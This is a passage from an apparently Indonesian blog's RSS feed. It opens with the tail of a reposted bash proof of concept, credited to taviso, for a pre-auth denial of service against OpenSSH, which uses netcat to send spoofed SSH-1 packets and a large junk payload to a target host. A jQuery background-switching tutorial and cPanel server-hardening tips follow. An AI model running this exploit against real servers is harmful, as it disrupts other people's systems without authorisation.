0xd06016f7 0x4969474d 0x3e6e77db 0xaed16a4a 0xd9d65adc 0x40df0b66 0x37d83bf0
0xa9bcae53 0xdebb9ec5 0x47b2cf7f 0x30b5ffe9 0xbdbdf21c 0xcabac28a 0x53b39330
0x24b4a3a6 0xbad03605 0xcdd70693 0x54de5729 0x23d967bf 0xb3667a2e 0xc4614ab8
0x5d681b02 0x2a6f2b94 0xb40bbe37 0xc30c8ea1 0x5a05df1b 0x2d02ef8d );

printf "[*] OpenSSH Pre-Auth DoS PoC by taviso@google.com\n" &amp;gt;&amp;amp;2
printf "[*] Attacking %s...\n" $hostname &amp;gt;&amp;amp;2

# launch netcat coprocess
(nc -q0 $hostname $port &amp;lt; $fifo.in &amp;gt; $fifo.out; rm -f $fifo.in $fifo.out) &amp;amp;

# open file descriptors to coprocess
exec 3&amp;gt;${fifo}.in 4&amp;lt;${fifo}.out

# send identification
printf "SSH-1.8-OpenSSH DoS Demo -- taviso@google.com\n" &amp;gt;&amp;amp;3

# read server key and spoof bytes (i only care about the spoof bytes)
read server_identification &amp;lt;&amp;amp;4
printf "[*] remote server identifies as %s.\n" "${server_identification}" &amp;gt;&amp;amp;2

# read the cookie
cookie="$(hexdump -n 18 -e '"" 8/1 "%02x " " "'&amp;lt;&amp;amp;4 | cut -d" " -f11-18)"

printf "[*] IP spoofing cookie was %s.\n" "${cookie}" &amp;gt;&amp;amp;2

# now send my response
printf "\x00\x00\x08\x3d" &amp;gt;&amp;amp;3 # packet length
printf "\x00\x00\x00\x03" &amp;gt;&amp;amp;3 # packet type
printf "\x03" &amp;gt;&amp;amp;3 # cipher type

# print spoof bytes
printf "\x${cookie// /\x}" &amp;gt;&amp;amp;3

# now calculate checksum of spoof bytes
for i in ${cookie}; do
declare -i buf=0x${i}
let 'crc = crc32tab[(crc ^ buf) &amp;amp; 0xff] ^ (crc &amp;gt;&amp;gt; 8)'
done

# now send some random crap for padding.
for ((i = 0; i &amp;lt; 2095; i++)); do
printf "\x41" &amp;gt;&amp;amp;3
let 'crc = crc32tab[(crc ^ 0x41) &amp;amp; 0xff] ^ (crc &amp;gt;&amp;gt; 8)'
done

printf "[*] checksum should be %#x\n" $crc &amp;gt;&amp;amp;2

# now send the checksum to server
printf "$(printf "\\\x%x\\\x%x\\\x%x\\\x%x" $(((crc &amp;gt;&amp;gt; 24) &amp;amp; 0xff)) \
$(((crc &amp;gt;&amp;gt; 16) &amp;amp; 0xff)) \
$(((crc &amp;gt;&amp;gt; 8) &amp;amp; 0xff)) \
$(((crc &amp;gt;&amp;gt; 0) &amp;amp; 0xff)))" &amp;gt;&amp;amp;3

printf "\x00\x03\xff\xf8" &amp;gt;&amp;amp;3 # packet length

# junk
perl -e 'print "\x00"x"262144"' &amp;gt;&amp;amp;3

# close file descriptors
exec 3&amp;gt;&amp;amp;- 4&amp;lt;&amp;amp;-

printf "[*] All done.\n" &amp;gt;&amp;amp;2&lt;/hostname&gt;&lt;/taviso@google.com&gt;&lt;/pre&gt;</description><link>http://black-mygo.blogspot.com/2011/01/openssh-43-p1-duplicated-block-remote.html</link><author>noreply@blogger.com (Blackmygo)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6874249505225083857.post-7539142325785693203</guid><pubDate>Wed, 19 Jan 2011 15:20:00 +0000</pubDate><atom:updated>2011-01-19T07:21:16.926-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Web Design</category><title>Mengubah Background Halaman Web/Blog Menggunakan jQuery</title><description>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://t2.gstatic.com/images?q=tbn:ANd9GcSF1nALSfLZcz-u-9WVOVD6EVBW9p8vAoVs8ngFzFMFypb5Sfn51w" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://t2.gstatic.com/images?q=tbn:ANd9GcSF1nALSfLZcz-u-9WVOVD6EVBW9p8vAoVs8ngFzFMFypb5Sfn51w" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-weight: bold; line-height: 18px;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-weight: bold; line-height: 18px;"&gt;Mengubah Background Halaman Web/Blog Menggunakan jQuery&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-weight: bold; line-height: 18px;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-weight: bold; line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px; font-weight: normal;"&gt;Mengubah Background Halaman Web/Blog Untuk Sebagian Web Designer Or Blog Designer saya Rasa Bukan Suatu Hal Yang Asing Lagi, Tapi setahu saya Pada Umumnya Source Code Yang Digunakan Adalah styleSheet. Nah Di Sini kita Akan Mencoba Mengubah Background Web/Blog Tanpa Harus Menggunakan styleSheet Tapi Menggunakan jQuery.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-weight: bold; line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px; font-weight: normal;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-weight: bold; line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px; font-weight: normal;"&gt;Sebelum Ngebaca Lebih Lajut Tulisan Banyak Ini, Silahkan Lihat Demonya Terlebih Dahulu&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-size: 13px; line-height: 18px;"&gt;»»»&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-size: 13px; line-height: 18px;"&gt;&amp;nbsp;&lt;a href="http://jsbin.com/uxuku5"&gt;DEMO&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-size: 13px; line-height: 18px;"&gt;Nah... Untuk Cara Penerapannya Pada Web/Blog,&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-size: 13px; line-height: 18px;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-size: 13px; line-height: 18px;"&gt;Pertama kita Harus Menyertakan Library jQuery-nya...&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-size: 13px; line-height: 18px;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px; line-height: 18px;"&gt;&amp;lt;pre class="Xml" name="code"&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"&gt;&amp;lt;script src="http://assadc0de.googlecode.com/files/jquery-1.2.6.pack.js"&amp;gt;&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-size: 13px; line-height: 18px;"&gt;&amp;lt;/pre&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-size: 13px; line-height: 18px;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-size: 13px; line-height: 18px;"&gt;Untuk Pengguna Blogger Letakan Di Bawah Code :&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-size: 13px; line-height: 18px;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px; line-height: 18px;"&gt;&amp;lt;pre class="Xml" name="code"&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"&gt;]]&amp;gt;&amp;lt;/b:skin&amp;gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-size: 13px; line-height: 18px;"&gt;&amp;lt;/pre&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-size: 13px; line-height: 18px;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-size: 13px; line-height: 18px;"&gt;Selanjutnya kita Buat 3 Kelas Di CSS-Nya Dengan Code :&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-size: 13px; line-height: 18px;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px; line-height: 18px;"&gt;&amp;lt;pre class="Xml" name="code"&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"&gt;.bg1 { background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQt2yWFjp4dUVxXGNe3dDo2ARM10-4KM7xApk9zZ4lqCuSo4inesbopcDepnYvj7194v0DMFO3nlBmDsT0u2I3YXu8As4M1MY57DI11Vx28KobikjoR9J_bomgHuVAeh2EV_nyx3ID3k8/) repeat-x; background-color: #6c0000; }&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"&gt;.bg2 { background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijgXNQqu603SHB-e_7nTu6B6eYfKyfgw0X6kiLWEzcJfwP2lW0pHf3jTSr-TK1i1BGAK5aUcpP4_tAdbq-7gW35CtcOT-su6Kqkzo9yecz1H9t-6abVxVAMTn6JiOR-sWMisiWdvbb-RQ/) repeat-x; background-color: #5A2A00; }&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px; line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: Monaco, Consolas, Courier, monospace;"&gt;.bg3 { background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJ-tw0etonER3g6U_RDGpGi1XagdkXkgq51QUny9YTabPrhnxN73wDElen7-s0xvsULtE3g3NP0KlFPTuz1vkR5o4OGcHXSb5oUjcpBUywYtTuhUQ7j_Xwb2MqThpGIK4jz9Zf_2quye0/) repeat-x; background-color: #00345B; }&lt;/span&gt;&amp;lt;/pre&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px; line-height: 18px;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px; line-height: 18px;"&gt;Untuk Pengguna Blogger Letakan Di Atas Code :&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px; line-height: 18px;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px; line-height: 18px;"&gt;&amp;lt;pre class="Xml" name="code"&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"&gt;]]&amp;gt;&amp;lt;/b:skin&amp;gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-size: 13px; line-height: 18px;"&gt;&amp;lt;/pre&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-size: 13px; line-height: 18px;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-size: 13px; line-height: 18px;"&gt;Selanjutnya kita Buat Kelas jQuery Pada Tubuh CSS Body-nya Dengan Code :&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-size: 13px; line-height: 18px;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px; line-height: 18px;"&gt;&amp;lt;pre class="Xml" name="code"&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"&gt;&amp;lt;script type='text/javascript'&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"&gt;$(document).ready(function(){&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"&gt;&amp;nbsp;&amp;nbsp;$("li.one").click( function(){ $&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;("body").removeClass('bg2 , bg3').addClass("bg1");&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"&gt;&amp;nbsp;&amp;nbsp;});&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"&gt;&amp;nbsp;&amp;nbsp;$("li.two").click( function(){ $&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;("body").removeClass("bg1 , bg3").addClass("bg2");&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"&gt;&amp;nbsp;&amp;nbsp;});&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"&gt;&amp;nbsp;&amp;nbsp;$("li.three").click( function(){ $&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;("body").removeClass("bg1 , bg2").addClass("bg3");&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"&gt;&amp;nbsp;&amp;nbsp;});&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"&gt;});&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px; line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: Monaco, Consolas, Courier, monospace;"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;&amp;lt;/pre&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px; line-height: 18px;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px; line-height: 18px;"&gt;Untuk Pengguna Blogger Letakkan Di Atas Code :&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px; line-height: 18px;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px; line-height: 18px;"&gt;&amp;lt;pre class="Xml" name="code"&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-size: 13px; line-height: 18px;"&gt;&amp;lt;/pre&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px; line-height: 18px;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px; line-height: 18px;"&gt;Selanjutnya Yang Terakhir kita Buat Link Untuk Merubah Latar Belakangnya Dengan Code :&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px; line-height: 18px;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px; line-height: 18px;"&gt;&amp;lt;pre class="Xml" name="code"&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"&gt;&amp;lt;ul&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"&gt;&amp;lt;li class="one"&amp;gt;&amp;lt;a href="#"&amp;gt;One&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"&gt;&amp;lt;li class="two"&amp;gt;&amp;lt;a href="#"&amp;gt;Two&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; line-height: 18px;"&gt;&amp;lt;li class="three"&amp;gt;&amp;lt;a href="#"&amp;gt;Three&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px; line-height: 18px;"&gt;&lt;span class="Apple-style-span" style="font-family: Monaco, Consolas, Courier, monospace;"&gt;&amp;lt;/ul&amp;gt;&lt;/span&gt;&amp;lt;/pre&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px; line-height: 18px;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px; line-height: 18px;"&gt;Untuk Pengguna Blogger Tambahkan Gadget Trus Pilih HTML/JavaScript Trus Tinggal CoPas Codenya.&lt;br /&gt;
&lt;br /&gt;
Selanjutnya Selesai ^_^ Gampangkan!!!&lt;br /&gt;
&lt;br /&gt;
Catetan:&lt;br /&gt;
Tulisan Banyak Ini Cuman Dasar, Buat Rekan² Yang Jago jQuery 'N CSS Silahkan Dikembangkan Kembali ^_^&lt;br /&gt;
&lt;br /&gt;
S'moga Bermanfaat&lt;/span&gt;&lt;/span&gt;</description><link>http://black-mygo.blogspot.com/2011/01/mengubah-background-halaman-webblog.html</link><author>noreply@blogger.com (Blackmygo)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6874249505225083857.post-628025427192301396</guid><pubDate>Wed, 19 Jan 2011 15:04:00 +0000</pubDate><atom:updated>2011-01-20T02:55:05.931-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Internet Security</category><category domain="http://www.blogger.com/atom/ns#">Website Security</category><title>10 TIPS FOR TUNE AND SECURE YOUR CPANEL SERVER</title><description>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://t1.gstatic.com/images?q=tbn:ANd9GcS95O_qV_9lLDpMMqifYCQLrueZgTKb53_pL8yvN1-HYCk4t91dfQ" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://t1.gstatic.com/images?q=tbn:ANd9GcS95O_qV_9lLDpMMqifYCQLrueZgTKb53_pL8yvN1-HYCk4t91dfQ" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;In the tutorial below, who is an article I read before I created a hosting business. very helpful&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Please note that these tips are suggestions only and cPanel takes no responsibility for modifications to individual servers, or the security practices of individual servers. Server security is a collection of compromises, as any server that allows connections could be insecure. These tips are to be followed at your own risk.&lt;br /&gt;
&lt;br /&gt;
1.&amp;nbsp;&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;Use secure passwords!&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
Insecure passwords are the most common security vulnerability for most servers. If an account password is insecure and is compromised, client sites can be defaced, infected, or used to spread viruses. Having secure passwords is paramount to having a secure server.&lt;br /&gt;
You can edit /etc/login.defs to configure many password options on your system. It is well do*****ented.&lt;br /&gt;
Generally, a password utilizing at least 8 characters including alphanumeric and grammatical symbols is sufficient. Never use passwords based upon dictionary words or significant dates. If you are uncertain about the security of a password, then you can test it using JTR cracker. If a password can be broken in a few hours, then it is probably too insecure and should not be used. You can also install tools like pam_passwdqc to check the strength of passwords.&lt;br /&gt;
&lt;br /&gt;
2.&amp;nbsp;&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;Secure SSH&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
Enable public key authentication for SSH and disable password authentication read more &amp;gt;&amp;gt;http://www.cpanel.net/security/publickeyauth.htm&lt;br /&gt;
Move SSH access to a different port. People are looking for port 22 as a possible way to access your servers. Moving SSH to a different port will add a simple way to deter those without specific knowledge of your server from easily discovering your SSH port.&lt;br /&gt;
You can modify the port that SSH runs on within /etc/ssh/sshd_config. Change the line that says #Port 22 to a different port such as: Port 1653. Make sure to keep your current SSH session open when testing the new port so you can change back to port 22 if the new port doesn’t work.&lt;br /&gt;
You should always use SSHv2 only as SSHv1 is not secure. Make sure to change the line in /etc/ssh/sshd_config that says #Protocol 2,1 to Protocol 2.&lt;br /&gt;
You may also wish to set Shell Resource Limits for you users to prevent applications and scripts from using all up your resources and taking down your server. You can configure shell resource limits in /etc/security/limits.conf on most Linux systems.&lt;br /&gt;
&lt;br /&gt;
3.&amp;nbsp;&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;Secure Apache&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
The most readily available way to access a web server, is of course, the web server application. It is important to take steps to secure your Apache installation.&lt;br /&gt;
One of the best tools for preventing malicious Apache use is mod_security. This can be installed in Addon Modules in the cPanel section of WebHost Manager. You can find information about mod_security at http://www.modsecurity.org/.&lt;br /&gt;
When compiling Apache, you should include suexec to ensure that CGI applications and scripts run as the user that owns / executes them. This will help identify where malicious scripts are and who is running them. It will also enforce permission and environment controls.&lt;br /&gt;
We also recommend compiling Apache + PHP with PHPsuexec. PHPsuexec forces all PHP scripts to run as the user who owns the script. This means that you will be able to identify the owner of all PHP scripts running on your server. If one is malicious, you will be able to find it’s owner quickly and resolve the issue. To compile Apache + PHP with PHPsuexec, select the PHPSuexec option in the Apache Upgrade interface in WHM or when running /scripts/easyapache from the command line.&lt;br /&gt;
You should enable PHP’s open_basedir protection. This protection will prevent users from open files outside of their home directory with PHP. This can be enabled in Tweak Security within WebHost Manager.&lt;br /&gt;
You may also wish to include safe_mode for PHP 5.x and below. Safe_mode ensures that the owner of a PHP script matches the owner of any files to be operated on. You can enable safe_mode by changing the safe_mode = line in php.ini to safe_mode = On.&lt;br /&gt;
&lt;br /&gt;
